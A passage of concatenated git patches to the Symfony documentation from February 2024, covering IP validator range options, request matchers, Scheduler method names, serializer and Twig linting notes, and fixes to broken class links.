 ``all_no_res``
     Validates for all IP formats but without reserved IP ranges
 
+**No public ranges**
+
+``4_no_public``
+    Validates for IPv4 but without public IP ranges
+``6_no_public``
+    Validates for IPv6 but without public IP ranges
+``all_no_public``
+    Validates for all IP formats but without public IP range
+
+**Only private ranges**
+
+``4_private``
+    Validates for IPv4 but without public and reserved ranges
+``6_private``
+    Validates for IPv6 but without public and reserved ranges
+``all_private``
+    Validates for all IP formats but without public and reserved ranges
+
+**Only reserved ranges**
+
+``4_reserved``
+    Validates for IPv4 but without private and public ranges
+``6_reserved``
+    Validates for IPv6 but without private and public ranges
+``all_reserved``
+    Validates for all IP formats but without private and public ranges
+
 **Only public ranges**
 
 ``4_public``
@@ -140,3 +169,8 @@ of a variety of different values:
     Validates for IPv6 but without private and reserved ranges
 ``all_public``
     Validates for all IP formats but without private and reserved ranges
+
+.. versionadded:: 7.1
+
+    The ``*_no_public``, ``*_reserved`` and ``*_public`` ranges were introduced
+    in Symfony 7.1.

From f332fd8d41065fabaac8c3d50349822f36f19b5a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier@mbp.local>
Date: Mon, 5 Feb 2024 08:21:51 +0100
Subject: [PATCH 5762/7107] Fix a minor syntax issue

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 0dbd223877d..31c44216505 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -825,9 +825,9 @@ The Serializer component provides several built-in normalizers:
     To convert the objects to integers or floats, set the serializer context option
     ``DateTimeNormalizer::CAST_KEY`` to ``int`` or ``float``.
 
-.. versionadded:: 7.1
+    .. versionadded:: 7.1
 
-    ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
+        ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
     This normalizer converts :phpclass:`DateTimeZone` objects into strings that

From 9388de664c185bec41a978ed1c18e4b71ac9cec9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier@mbp.local>
Date: Mon, 5 Feb 2024 08:39:20 +0100
Subject: [PATCH 5763/7107] [ExpressionLanguage] Add more information about the
 min/max functions

---
 reference/formats/expression_language.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 9a3e78ef485..7daa4c98957 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -172,7 +172,10 @@ This will print out ``true``.
 ``min()`` function
 ~~~~~~~~~~~~~~~~~~
 
-This function will return the lowest value::
+This function will return the lowest value of the given parameters. You can pass
+different types of parameters (e.g. dates, strings, numeric values) and even mix
+them (e.g. pass numeric values and strings). Internally it uses the :phpfunction:`min`
+PHP function to find the lowest value::
 
     var_dump($expressionLanguage->evaluate(
         'min(1, 2, 3)'
@@ -183,7 +186,10 @@ This will print out ``1``.
 ``max()`` function
 ~~~~~~~~~~~~~~~~~~
 
-This function will return the highest value::
+This function will return the highest value of the given parameters. You can pass
+different types of parameters (e.g. dates, strings, numeric values) and even mix
+them (e.g. pass numeric values and strings). Internally it uses the :phpfunction:`max`
+PHP function to find the highest value::
 
     var_dump($expressionLanguage->evaluate(
         'max(1, 2, 3)'

From 7a4abe3c1504ad3581a8bf35407d5b25ca0e1efc Mon Sep 17 00:00:00 2001
From: Nils Silbernagel <6422477+N-Silbernagel@users.noreply.github.com>
Date: Mon, 5 Feb 2024 08:48:53 +0100
Subject: [PATCH 5764/7107] Add return to non-symfony VarDumper::setHandler

Fix error in code for setting VarDumpServer in non-symfony applications
---
 components/var_dumper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 6b336ad1d3e..e7c10a3287f 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -170,7 +170,7 @@ Outside a Symfony application, use the :class:`Symfony\\Component\\VarDumper\\Du
     ]);
 
     VarDumper::setHandler(function (mixed $var) use ($cloner, $dumper): ?string {
-        $dumper->dump($cloner->cloneVar($var));
+        return $dumper->dump($cloner->cloneVar($var));
     });
 
 .. note::

From 015aed4d2bc7ba2bdc2a1be47cc51a6041e21f6f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 5 Feb 2024 08:49:05 +0100
Subject: [PATCH 5765/7107] fix typo

---
 configuration/secrets.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 089f7da2892..f717456a22c 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -170,7 +170,7 @@ Reveal Existing Secrets
 -----------------------
 
 If you have the **decryption key**, the ``secrets:reveal`` command allows
-you to reveal a single secrets value.
+you to reveal a single secret's value.
 
 .. code-block:: terminal
 

From 17b273749d326ca45e385d296c036d4b402ab305 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 5 Feb 2024 08:50:11 +0100
Subject: [PATCH 5766/7107] fix typo

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 31c44216505..eab0e616c23 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -827,7 +827,7 @@ The Serializer component provides several built-in normalizers:
 
     .. versionadded:: 7.1
 
-        ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
+        The ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
     This normalizer converts :phpclass:`DateTimeZone` objects into strings that

From cfbdd7ab1873008b3d211853b0c8f04589e1d0d6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 5 Feb 2024 09:53:16 +0100
Subject: [PATCH 5767/7107] [HttpFoundation] Mention Request Matchers

---
 components/http_foundation.rst | 42 ++++++++++++++++++++++++++++++++++
 1 file changed, 42 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 04a0c2d794d..97797d8df6d 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -396,6 +396,48 @@ use the ``isPrivateIp()`` method from the
 
     The ``isPrivateIp()`` method was introduced in Symfony 6.3.
 
+Matching a Request Against a Set Rules
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to match a request against a set of rules, you can use
+request matchers. The HttpFoundation component provides many matchers
+to be used:
+
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\AttributesRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\ExpressionRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\HostRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IpsRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IsJsonMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\MethodRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PathRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PortRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
+
+You can either use them directly or combine them using the
+:class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher`
+class::
+
+    use Symfony\Component\HttpFoundation\ChainRequestMatcher;
+    use Symfony\Component\HttpFoundation\RequestMatcher\HostRequestMatcher;
+    use Symfony\Component\HttpFoundation\RequestMatcher\PathRequestMatcher;
+    use Symfony\Component\HttpFoundation\RequestMatcher\SchemeRequestMatcher;
+
+    // use only one criteria to match the request
+    $schemeMatcher = new SchemeRequestMatcher('https');
+    if ($schemeMatcher->matches($request)) {
+        // ...
+    }
+
+    // use a set of criteria to match the request
+    $matcher = new ChainRequestMatcher([
+        new HostRequestMatcher('example.com'),
+        new PathRequestMatcher('/admin'),
+    ]);
+
+    if ($matcher->matches($request)) {
+        // ...
+    }
+
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 2cf1de8e1935f3133e634e65c697c68467256446 Mon Sep 17 00:00:00 2001
From: Matthias Krauser <matthias@krauser.eu>
Date: Mon, 5 Feb 2024 10:08:57 +0100
Subject: [PATCH 5768/7107] #19510 in symfony 6.3 there was no
 Schedule::with(...), but Schedule::add(...)

---
 scheduler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index f37568fd4dd..db48ee2c5aa 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -318,7 +318,7 @@ Finally, the recurring messages has to be attached to a schedule::
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->with(
+                ->add(
                     RecurringMessage::trigger(
                         new ExcludeHolidaysTrigger(
                             CronExpressionTrigger::fromSpec('@daily'),
@@ -404,7 +404,7 @@ a worker is restarted, it resumes from the point it left off::
             $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
-                ->with(
+                ->add(
                     // ...
                 )
                 ->stateful($this->cache)
@@ -426,7 +426,7 @@ same task more than once::
             $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
-                ->with(
+                ->add(
                     // ...
                 )
                 ->lock($this->lockFactory->createLock('my-lock')
@@ -453,7 +453,7 @@ before being further redispatched to its corresponding handler::
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->with(
+                ->add(
                     RecurringMessage::every('5 seconds'),
                     new RedispatchMessage(new Message(), 'async')
                 );

From f61c919fdf937f1827489a7c6d5e7fcac108db42 Mon Sep 17 00:00:00 2001
From: "hubert.lenoir" <hubert.lenoir@sensiolabs.com>
Date: Wed, 28 Dec 2022 13:39:22 +0100
Subject: [PATCH 5769/7107] [CssSelector] add support for :is() and :where()

---
 components/css_selector.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/css_selector.rst b/components/css_selector.rst
index c09f80a3cf4..1331a11e616 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -92,7 +92,11 @@ Pseudo-classes are partially supported:
 * Not supported: ``*:first-of-type``, ``*:last-of-type``, ``*:nth-of-type`` and
   ``*:nth-last-of-type`` (all these work with an element name (e.g.
   ``li:first-of-type``) but not with the ``*`` selector).
-* Supported: ``*:only-of-type``, ``*:scope``.
+* Supported: ``*:only-of-type``, ``*:scope``, ``*:is`` and ``*:where``.
+
+.. versionadded:: 7.1
+
+    The support for ``*:is`` and ``*:where`` was introduced in Symfony 7.1.
 
 Learn more
 ----------

From 389da7522b20e37099286703a2bea403c1d15834 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Feb 2024 10:39:15 +0100
Subject: [PATCH 5770/7107] [Scheduler] Update the name of a method

---
 scheduler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 70f73bd59eb..557e4fc68cb 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -354,7 +354,7 @@ Finally, the recurring messages has to be attached to a schedule::
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->add(
+                ->with(
                     RecurringMessage::trigger(
                         new ExcludeHolidaysTrigger(
                             CronExpressionTrigger::fromSpec('@daily'),
@@ -859,7 +859,7 @@ This allows the system to retain the state of the schedule, ensuring that when a
             $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
-                ->add(
+                ->with(
                     // ...
                 )
                 ->stateful($this->cache)
@@ -881,7 +881,7 @@ same task more than once::
             $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
-                ->add(
+                ->with(
                     // ...
                 )
                 ->lock($this->lockFactory->createLock('my-lock')
@@ -908,7 +908,7 @@ before being further redispatched to its corresponding handler::
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->add(
+                ->with(
                     RecurringMessage::every('5 seconds'),
                     new RedispatchMessage(new Message(), 'async')
                 );

From 017d7a03d8271b7b1bd1e8ea4f5fe662569f26c5 Mon Sep 17 00:00:00 2001
From: Matthias Krauser <matthias@krauser.eu>
Date: Mon, 5 Feb 2024 10:16:38 +0100
Subject: [PATCH 5771/7107] [Scheduler] fixed small typo in RecurringMessage
 Codeblock

---
 scheduler.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index db48ee2c5aa..811e5706505 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -454,8 +454,7 @@ before being further redispatched to its corresponding handler::
         {
             return $this->schedule ??= (new Schedule())
                 ->add(
-                    RecurringMessage::every('5 seconds'),
-                    new RedispatchMessage(new Message(), 'async')
+                    RecurringMessage::every('5 seconds', new RedispatchMessage(new Message(), 'async'))
                 );
         }
     }

From a9b1372fcd8879504da348cae91c8c9dd454fec1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Feb 2024 11:59:19 +0100
Subject: [PATCH 5772/7107] Tweaks

---
 components/http_foundation.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 97797d8df6d..f7dc03fab68 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -396,12 +396,12 @@ use the ``isPrivateIp()`` method from the
 
     The ``isPrivateIp()`` method was introduced in Symfony 6.3.
 
-Matching a Request Against a Set Rules
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Matching a Request Against a Set of Rules
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you need to match a request against a set of rules, you can use
-request matchers. The HttpFoundation component provides many matchers
-to be used:
+The HttpFoundation component provides some matcher classes that allow you to
+check if a given request meets certain conditions (e.g. it comes from some IP
+address, it uses a certain HTTP method, etc.):
 
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\AttributesRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\ExpressionRequestMatcher`
@@ -413,7 +413,7 @@ to be used:
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PortRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
 
-You can either use them directly or combine them using the
+You can use them individually or combine them using the
 :class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher`
 class::
 

From 41bea4ef40b243db07c8d462e448fc9c679cf43e Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Fri, 2 Feb 2024 19:09:24 +0100
Subject: [PATCH 5773/7107] Add message to #[MapEntity] for
 NotFoundHttpException

---
 doctrine.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index e4be23664d3..01bd2e0aff7 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -820,6 +820,21 @@ control behavior:
 ``disabled``
     If true, the ``EntityValueResolver`` will not try to replace the argument.
 
+``message``
+    If a ``message`` option is configured, the value of the ``message`` option will be displayed in the development
+    environment for the :class:`Symfony\\Component\\HttpKernel\\Exception\\NotFoundHttpException` exception::
+
+        #[Route('/product/{product_id}')]
+        public function show(
+            #[MapEntity(id: 'product_id', message: 'The product does not exist')]
+            Product $product
+        ): Response {
+        }
+
+.. versionadded:: 7.1
+
+    The ``message`` option was introduced in Symfony 7.1.
+
 Updating an Object
 ------------------
 

From 71c5335e821e028bd79448c342c0dc4a983a8486 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Feb 2024 12:56:11 +0100
Subject: [PATCH 5774/7107] Minor tweaks

---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 01bd2e0aff7..96239723d7e 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -821,8 +821,8 @@ control behavior:
     If true, the ``EntityValueResolver`` will not try to replace the argument.
 
 ``message``
-    If a ``message`` option is configured, the value of the ``message`` option will be displayed in the development
-    environment for the :class:`Symfony\\Component\\HttpKernel\\Exception\\NotFoundHttpException` exception::
+    An optional custom message displayed when there's a :class:`Symfony\\Component\\HttpKernel\\Exception\\NotFoundHttpException`,
+    but **only in the development environment** (you won't see this message in production)::
 
         #[Route('/product/{product_id}')]
         public function show(

From 9fddcaf033423b25ce7deb32768de0b9d87cdccc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Feb 2024 12:59:58 +0100
Subject: [PATCH 5775/7107] [HttpFoundation] Mention `HeaderRequestMatcher` and
 `QueryParameterRequestMatcher`

---
 components/http_foundation.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index cd52464420f..4ecc36f4fba 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -388,17 +388,19 @@ address, it uses a certain HTTP method, etc.):
 
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\AttributesRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\ExpressionRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\HeaderRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\HostRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IpsRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IsJsonMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\MethodRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PathRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PortRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\QueryParameterRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
 
 You can use them individually or combine them using the
-:class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher`
-class::
+:class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher` class::
 
     use Symfony\Component\HttpFoundation\ChainRequestMatcher;
     use Symfony\Component\HttpFoundation\RequestMatcher\HostRequestMatcher;
@@ -421,6 +423,11 @@ class::
         // ...
     }
 
+.. versionadded:: 7.1
+
+    The ``HeaderRequestMatcher`` and ``QueryParameterRequestMatcher`` were
+    introduced in Symfony 7.1.
+
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 4f75745ddfcba84bd3fbc7e41da181ca7950be5d Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Mon, 5 Feb 2024 08:35:06 +0100
Subject: [PATCH 5776/7107] Document `twig:lint` new option `excludes`

---
 templates.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/templates.rst b/templates.rst
index 7b6bb1ce68a..2abbf8053cc 100644
--- a/templates.rst
+++ b/templates.rst
@@ -818,6 +818,13 @@ errors. It's useful to run it before deploying your application to production
     # you can also show the deprecated features used in your templates
     $ php bin/console lint:twig --show-deprecations templates/email/
 
+    # you can also excludes directories
+    $ php bin/console lint:twig templates/ --excludes=data_collector --excludes=dev_tool
+
+.. versionadded:: 7.1
+
+    The option to exclude directories was introduced in Symfony 7.1.
+
 When running the linter inside `GitHub Actions`_, the output is automatically
 adapted to the format required by GitHub, but you can force that format too:
 

From e416647d882bfbe79a72b1c5e5cefd44462139b4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 5 Feb 2024 19:38:05 +0100
Subject: [PATCH 5777/7107] [HttpFoundation] Fix IpsRequestMatcher reference

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index f7dc03fab68..fc53550be2a 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -407,7 +407,7 @@ address, it uses a certain HTTP method, etc.):
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\ExpressionRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\HostRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IpsRequestMatcher`
-* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IsJsonMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IsJsonRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\MethodRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PathRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PortRequestMatcher`

From 6144627161d4482330a5ccff46759d40325a8c86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Feb 2024 09:28:06 +0100
Subject: [PATCH 5778/7107] [Validator] Reword the list of options for the
 version option of the Ip constraint

---
 reference/constraints/Ip.rst | 80 +++++++-----------------------------
 1 file changed, 15 insertions(+), 65 deletions(-)

diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 9168d463f77..20cd4400c0a 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -104,71 +104,21 @@ Parameter        Description
 
 **type**: ``string`` **default**: ``4``
 
-This determines exactly *how* the IP address is validated and can take one
-of a variety of different values:
-
-**All ranges**
-
-``4``
-    Validates for IPv4 addresses
-``6``
-    Validates for IPv6 addresses
-``all``
-    Validates all IP formats
-
-**No private ranges**
-
-``4_no_priv``
-    Validates for IPv4 but without private IP ranges
-``6_no_priv``
-    Validates for IPv6 but without private IP ranges
-``all_no_priv``
-    Validates for all IP formats but without private IP ranges
-
-**No reserved ranges**
-
-``4_no_res``
-    Validates for IPv4 but without reserved IP ranges
-``6_no_res``
-    Validates for IPv6 but without reserved IP ranges
-``all_no_res``
-    Validates for all IP formats but without reserved IP ranges
-
-**No public ranges**
-
-``4_no_public``
-    Validates for IPv4 but without public IP ranges
-``6_no_public``
-    Validates for IPv6 but without public IP ranges
-``all_no_public``
-    Validates for all IP formats but without public IP range
-
-**Only private ranges**
-
-``4_private``
-    Validates for IPv4 but without public and reserved ranges
-``6_private``
-    Validates for IPv6 but without public and reserved ranges
-``all_private``
-    Validates for all IP formats but without public and reserved ranges
-
-**Only reserved ranges**
-
-``4_reserved``
-    Validates for IPv4 but without private and public ranges
-``6_reserved``
-    Validates for IPv6 but without private and public ranges
-``all_reserved``
-    Validates for all IP formats but without private and public ranges
-
-**Only public ranges**
-
-``4_public``
-    Validates for IPv4 but without private and reserved ranges
-``6_public``
-    Validates for IPv6 but without private and reserved ranges
-``all_public``
-    Validates for all IP formats but without private and reserved ranges
+This determines exactly *how* the IP address is validated. This option defines a
+lot of different possible values based on the ranges and the type of IP address
+that you want to allow/deny:
+
+====================  ===================  ===================  ==================
+Ranges Allowed        IPv4 addresses only  IPv6 addresses only  Both IPv4 and IPv6
+====================  ===================  ===================  ==================
+All                   ``4``                ``6``                ``all``
+All except private    ``4_no_priv``        ``6_no_priv``        ``all_no_priv``
+All except reserved   ``4_no_res``         ``6_no_res``         ``all_no_res``
+All except public     ``4_no_public``      ``6_no_public``      ``all_no_public``
+Only private          ``4_private``        ``6_private``        ``all_private``
+Only reserved         ``4_reserved``       ``6_reserved``       ``all_reserved``
+Only public           ``4_public``         ``6_public``         ``all_public``
+====================  ===================  ===================  ==================
 
 .. versionadded:: 7.1
 

From c9487e344a28e40411fdd40a47c4c7ab113d5b4b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 5 Feb 2024 20:34:01 +0100
Subject: [PATCH 5779/7107] Fix broken class links

---
 components/cache/adapters/pdo_adapter.rst |  2 +-
 components/runtime.rst                    |  2 +-
 components/validator/resources.rst        |  2 +-
 controller/argument_value_resolver.rst    |  6 ++---
 reference/constraints/Negative.rst        |  2 +-
 reference/constraints/NegativeOrZero.rst  |  2 +-
 reference/dic_tags.rst                    |  4 +--
 templates.rst                             | 33 ++++++++++++-----------
 8 files changed, 27 insertions(+), 26 deletions(-)

diff --git a/components/cache/adapters/pdo_adapter.rst b/components/cache/adapters/pdo_adapter.rst
index 34815a51eb0..9cfbfd7bdfa 100644
--- a/components/cache/adapters/pdo_adapter.rst
+++ b/components/cache/adapters/pdo_adapter.rst
@@ -41,7 +41,7 @@ your code.
 .. deprecated:: 5.4
 
     Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
-    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
+    ``Doctrine\DBAL\Connection`` or a DBAL URL is deprecated since Symfony 5.4
     and will be removed in Symfony 6.0.
     Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
 
diff --git a/components/runtime.rst b/components/runtime.rst
index bc2fe81e726..df08c36251f 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -139,7 +139,7 @@ The following arguments are supported by the ``SymfonyRuntime``:
 :class:`Symfony\\Component\\Console\\Application`
     An application for creating CLI applications.
 
-:class:`Symfony\\Component\\Command\\Command`
+:class:`Symfony\\Component\\Console\\Command\\Command`
     For creating one line command CLI applications (using
     ``Command::setCode()``).
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 0eb5bc71e86..4baf4fbdd65 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -148,7 +148,7 @@ instance.
 
 To solve this problem, call the :method:`Symfony\\Component\\Validator\\ValidatorBuilder::setMappingCache`
 method of the Validator builder and pass your own caching class (which must
-implement the PSR-6 interface :class:`Psr\\Cache\\CacheItemPoolInterface`)::
+implement the PSR-6 interface ``Psr\Cache\CacheItemPoolInterface``)::
 
     use Symfony\Component\Validator\Validation;
 
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index eb100c258f0..1cddcede0bf 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -53,8 +53,8 @@ In addition, some components and official bundles provide other value resolvers:
 
 PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
-    of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
-    :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
+    of type ``Psr\Http\Message\ServerRequestInterface``,
+    ``Psr\Http\Message\RequestInterface`` or ``Psr\Http\Message\MessageInterface``.
     It requires installing :doc:`the PSR-7 Bridge </components/psr7>` component.
 
 Adding a Custom Value Resolver
@@ -250,7 +250,7 @@ To ensure your resolvers are added in the right position you can run the followi
 command to see which argument resolvers are present and in which order they run.
 
 .. code-block:: terminal
-    
+
     $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
 
 .. tip::
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index c77d0586cbf..fa00910e790 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -8,7 +8,7 @@ want to allow zero as value.
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Negative`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanValidator`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
 
 Basic Usage
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index 0aead7184e3..e356a21d20f 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -7,7 +7,7 @@ want to allow zero as value, use :doc:`/reference/constraints/Negative` instead.
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanOrEqualValidator`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
 
 Basic Usage
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 96b4d2d77fa..16480b3fb3c 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1339,8 +1339,7 @@ twig.loader
 
 **Purpose**: Register a custom service that loads Twig templates
 
-By default, Symfony uses only one `Twig Loader`_ -
-:class:`Symfony\\Bundle\\TwigBundle\\Loader\\FilesystemLoader`. If you need
